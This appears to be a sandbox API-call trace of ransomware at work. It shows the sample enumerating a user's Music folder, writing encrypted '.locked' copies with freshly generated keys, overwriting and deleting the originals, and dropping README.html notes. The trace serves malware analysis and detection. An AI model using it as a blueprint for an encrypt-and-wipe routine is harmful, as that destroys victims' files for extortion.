	[0076.250] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\6y9cXxGS3Ie6eS9MzHg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\6y9cxxgs3ie6es9mzhg.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.251] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0076.251] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.267] CloseHandle (hObject=0xc0) returned 1
	[0076.289] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\6y9cXxGS3Ie6eS9MzHg.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\6y9cxxgs3ie6es9mzhg.mp3")) returned 1
	[0076.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Kql5D AvlhFAAIgIXG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\kql5d avlhfaaigixg.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x975eb150, ftCreationTime.dwHighDateTime=0x1d4d1dd, ftLastAccessTime.dwLowDateTime=0x90dc3ab0, ftLastAccessTime.dwHighDateTime=0x1d4ce4e, ftLastWriteTime.dwLowDateTime=0x90dc3ab0, ftLastWriteTime.dwHighDateTime=0x1d4ce4e, nFileSizeHigh=0x0, nFileSizeLow=0x75b9)) returned 1
	[0076.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Kql5D AvlhFAAIgIXG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\kql5d avlhfaaigixg.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.298] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0076.298] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Kql5D AvlhFAAIgIXG.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\kql5d avlhfaaigixg.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.299] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0076.299] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c240 | out: pbBuffer=0x1238c240) returned 1
	[0076.299] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8120 | out: pbBuffer=0x127a8120) returned 1
	[0076.299] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc081 | out: pbBuffer=0x123bc081) returned 1
	[0076.299] WriteFile (in: hFile=0xc4, lpBuffer=0x12507000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12507000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0076.301] SetEvent (hEvent=0x8c) returned 1
	[0076.301] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x75b9, lpOverlapped=0x0) returned 1
	[0076.303] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x75b9, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x75b9, lpOverlapped=0x0) returned 1
	[0076.303] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0076.303] CloseHandle (hObject=0xc4) returned 1
	[0076.304] CloseHandle (hObject=0xc0) returned 1
	[0076.305] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.305] SetEvent (hEvent=0x8c) returned 1
	[0076.305] SetEvent (hEvent=0x78) returned 1
	[0076.305] SetEvent (hEvent=0xb4) returned 1
	[0076.305] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.305] SetEvent (hEvent=0xb4) returned 1
	[0076.306] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1263e000*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x127ee83c, lpReserved=0x0 | out: lpBuffer=0x1263e000*, lpNumberOfCharsWritten=0x127ee83c*=0x46) returned 1
	[0076.310] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Kql5D AvlhFAAIgIXG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\kql5d avlhfaaigixg.mp3")) returned 1
	[0076.329] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.329] SetEvent (hEvent=0xa8) returned 1
	[0076.329] SetEvent (hEvent=0x78) returned 1
	[0076.333] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.334] SetEvent (hEvent=0x78) returned 1
	[0076.334] SetEvent (hEvent=0xb4) returned 1
	[0076.334] SetEvent (hEvent=0x8c) returned 1
	[0076.334] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.334] SetEvent (hEvent=0x8c) returned 1
	[0076.336] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.336] SetEvent (hEvent=0x8c) returned 1
	[0076.336] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.336] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.337] SetEvent (hEvent=0x8c) returned 1
	[0076.337] SetEvent (hEvent=0xb4) returned 1
	[0076.337] SetEvent (hEvent=0x78) returned 1
	[0076.337] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.337] SetEvent (hEvent=0x78) returned 1
	[0076.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Kql5D AvlhFAAIgIXG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\kql5d avlhfaaigixg.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.337] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec98 | out: lpMode=0x127eec98) returned 0
	[0076.338] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec88, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec88*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.353] CloseHandle (hObject=0xc0) returned 1
	[0076.361] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Kql5D AvlhFAAIgIXG.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\kql5d avlhfaaigixg.mp3")) returned 1
	[0076.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Mit4KlPn_3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\mit4klpn_3.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d432830, ftCreationTime.dwHighDateTime=0x1d4d437, ftLastAccessTime.dwLowDateTime=0xba458050, ftLastAccessTime.dwHighDateTime=0x1d4c8e5, ftLastWriteTime.dwLowDateTime=0xba458050, ftLastWriteTime.dwHighDateTime=0x1d4c8e5, nFileSizeHigh=0x0, nFileSizeLow=0xa5e4)) returned 1
	[0076.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\Ol0ATzyutYZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\ol0atzyutyz.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc148 | out: lpFileInformation=0x123fc148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe255f040, ftCreationTime.dwHighDateTime=0x1d4d270, ftLastAccessTime.dwLowDateTime=0xdb1284b0, ftLastAccessTime.dwHighDateTime=0x1d4d180, ftLastWriteTime.dwLowDateTime=0xdb1284b0, ftLastWriteTime.dwHighDateTime=0x1d4d180, nFileSizeHigh=0x0, nFileSizeLow=0x690e)) returned 1
	[0076.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb13a110, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0x9844ef70, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0x9844ef70, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0076.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0076.370] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb13a110, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0x9844ef70, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0x9844ef70, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0076.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb13a110, ftCreationTime.dwHighDateTime=0x1d4c7e0, ftLastAccessTime.dwLowDateTime=0x9844ef70, ftLastAccessTime.dwHighDateTime=0x1d4c5a4, ftLastWriteTime.dwLowDateTime=0x9844ef70, ftLastWriteTime.dwHighDateTime=0x1d4c5a4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fa63c30, ftCreationTime.dwHighDateTime=0x1d4cef8, ftLastAccessTime.dwLowDateTime=0x2b53b8a0, ftLastAccessTime.dwHighDateTime=0x1d4c9ce, ftLastWriteTime.dwLowDateTime=0x2b53b8a0, ftLastWriteTime.dwHighDateTime=0x1d4c9ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dlez1", cAlternateFileName="")) returned 1
	[0076.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16704900, ftCreationTime.dwHighDateTime=0x1d4cffd, ftLastAccessTime.dwLowDateTime=0xed9dfd90, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xed9dfd90, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x3e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="dOTEpDsxVXbKTz9_o.mp3", cAlternateFileName="DOTEPD~1.MP3")) returned 1
	[0076.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f18e0, ftCreationTime.dwHighDateTime=0x1d4c5f0, ftLastAccessTime.dwLowDateTime=0x606bb900, ftLastAccessTime.dwHighDateTime=0x1d4cc41, ftLastWriteTime.dwLowDateTime=0x606bb900, ftLastWriteTime.dwHighDateTime=0x1d4cc41, nFileSizeHigh=0x0, nFileSizeLow=0x5949, dwReserved0=0x0, dwReserved1=0x0, cFileName="NZns.m4a", cAlternateFileName="")) returned 1
	[0076.370] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499f3ab0, ftCreationTime.dwHighDateTime=0x1d4c883, ftLastAccessTime.dwLowDateTime=0xa30ca990, ftLastAccessTime.dwHighDateTime=0x1d4cd54, ftLastWriteTime.dwLowDateTime=0xa30ca990, ftLastWriteTime.dwHighDateTime=0x1d4cd54, nFileSizeHigh=0x0, nFileSizeLow=0x5d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SbedjKy53aXL.mp3", cAlternateFileName="SBEDJK~1.MP3")) returned 1
	[0076.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2c88c60, ftCreationTime.dwHighDateTime=0x1d4d1cd, ftLastAccessTime.dwLowDateTime=0x30327c80, ftLastAccessTime.dwHighDateTime=0x1d4c569, ftLastWriteTime.dwLowDateTime=0x30327c80, ftLastWriteTime.dwHighDateTime=0x1d4c569, nFileSizeHigh=0x0, nFileSizeLow=0x9052, dwReserved0=0x0, dwReserved1=0x0, cFileName="tbh-EQ2W1jTfz1UE.mp3", cAlternateFileName="TBH-EQ~1.MP3")) returned 1
	[0076.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76eda1b0, ftCreationTime.dwHighDateTime=0x1d4cdfa, ftLastAccessTime.dwLowDateTime=0x71e46fd0, ftLastAccessTime.dwHighDateTime=0x1d4cb77, ftLastWriteTime.dwLowDateTime=0x71e46fd0, ftLastWriteTime.dwHighDateTime=0x1d4cb77, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x0, cFileName="XvxAbX.m4a", cAlternateFileName="")) returned 1
	[0076.371] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0076.371] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0076.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.371] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeccc | out: lpMode=0x127eeccc) returned 0
	[0076.371] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eecbc, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eecbc*=0xc5a, lpOverlapped=0x0) returned 1
	[0076.372] CloseHandle (hObject=0xc0) returned 1
	[0076.373] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee84c, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee84c*=0x57) returned 1
	[0076.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\NZns.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\nzns.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc418 | out: lpFileInformation=0x123fc418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93f18e0, ftCreationTime.dwHighDateTime=0x1d4c5f0, ftLastAccessTime.dwLowDateTime=0x606bb900, ftLastAccessTime.dwHighDateTime=0x1d4cc41, ftLastWriteTime.dwLowDateTime=0x606bb900, ftLastWriteTime.dwHighDateTime=0x1d4cc41, nFileSizeHigh=0x0, nFileSizeLow=0x5949)) returned 1
	[0076.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\SbedjKy53aXL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\sbedjky53axl.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc468 | out: lpFileInformation=0x123fc468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499f3ab0, ftCreationTime.dwHighDateTime=0x1d4c883, ftLastAccessTime.dwLowDateTime=0xa30ca990, ftLastAccessTime.dwHighDateTime=0x1d4cd54, ftLastWriteTime.dwLowDateTime=0xa30ca990, ftLastWriteTime.dwHighDateTime=0x1d4cd54, nFileSizeHigh=0x0, nFileSizeLow=0x5d7c)) returned 1
	[0076.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\SbedjKy53aXL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\sbedjky53axl.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.374] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0076.375] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\SbedjKy53aXL.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\sbedjky53axl.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0076.375] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0076.375] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c3e0 | out: pbBuffer=0x1238c3e0) returned 1
	[0076.375] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x127a8580 | out: pbBuffer=0x127a8580) returned 1
	[0076.375] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x123bc301 | out: pbBuffer=0x123bc301) returned 1
	[0076.375] WriteFile (in: hFile=0xc4, lpBuffer=0x1240f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1240f000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0076.377] SetEvent (hEvent=0xb4) returned 1
	[0076.378] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x5d7c, lpOverlapped=0x0) returned 1
	[0076.379] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x5d7c, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x5d7c, lpOverlapped=0x0) returned 1
	[0076.379] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0076.379] CloseHandle (hObject=0xc4) returned 1
	[0076.380] CloseHandle (hObject=0xc0) returned 1
	[0076.380] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.381] SetEvent (hEvent=0xb4) returned 1
	[0076.381] SetEvent (hEvent=0x78) returned 1
	[0076.381] SetEvent (hEvent=0x8c) returned 1
	[0076.381] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.381] SetEvent (hEvent=0xa8) returned 1
	[0076.381] SetEvent (hEvent=0x8c) returned 1
	[0076.381] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12508000*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x12508000*, lpNumberOfCharsWritten=0x127ee7d8*=0x52) returned 1
	[0076.383] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\SbedjKy53aXL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\sbedjky53axl.mp3")) returned 1
	[0076.403] SetEvent (hEvent=0x78) returned 1
	[0076.408] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.408] SetEvent (hEvent=0x78) returned 1
	[0076.408] SetEvent (hEvent=0x8c) returned 1
	[0076.408] SetEvent (hEvent=0xb4) returned 1
	[0076.408] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.408] SetEvent (hEvent=0xa8) returned 1
	[0076.408] SetEvent (hEvent=0xb4) returned 1
	[0076.410] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.410] SetEvent (hEvent=0xb4) returned 1
	[0076.411] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.411] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0076.411] SetEvent (hEvent=0xb4) returned 1
	[0076.411] SetEvent (hEvent=0x8c) returned 1
	[0076.411] SetEvent (hEvent=0x78) returned 1
	[0076.411] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0076.412] SetEvent (hEvent=0x78) returned 1
	[0076.412] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\SbedjKy53aXL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\sbedjky53axl.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.412] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0076.412] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0076.439] CloseHandle (hObject=0xc0) returned 1
	[0076.447] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\SbedjKy53aXL.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\sbedjky53axl.mp3")) returned 1
	[0076.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\XvxAbX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\xvxabx.m4a"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76eda1b0, ftCreationTime.dwHighDateTime=0x1d4cdfa, ftLastAccessTime.dwLowDateTime=0x71e46fd0, ftLastAccessTime.dwHighDateTime=0x1d4cb77, ftLastWriteTime.dwLowDateTime=0x71e46fd0, ftLastWriteTime.dwHighDateTime=0x1d4cb77, nFileSizeHigh=0x0, nFileSizeLow=0x17854)) returned 1
	[0076.456] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dOTEpDsxVXbKTz9_o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dotepdsxvxbktz9_o.mp3"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16704900, ftCreationTime.dwHighDateTime=0x1d4cffd, ftLastAccessTime.dwLowDateTime=0xed9dfd90, ftLastAccessTime.dwHighDateTime=0x1d4cda1, ftLastWriteTime.dwLowDateTime=0xed9dfd90, ftLastWriteTime.dwHighDateTime=0x1d4cda1, nFileSizeHigh=0x0, nFileSizeLow=0x3e87)) returned 1
	[0076.456] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\071XbJ\\R_LtNbRdhxzRBemmy\\dOTEpDsxVXbKTz9_o.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\071xbj\\r_ltnbrdhxzrbemmy\\dotepdsxvxbktz9_o.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0076.456] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
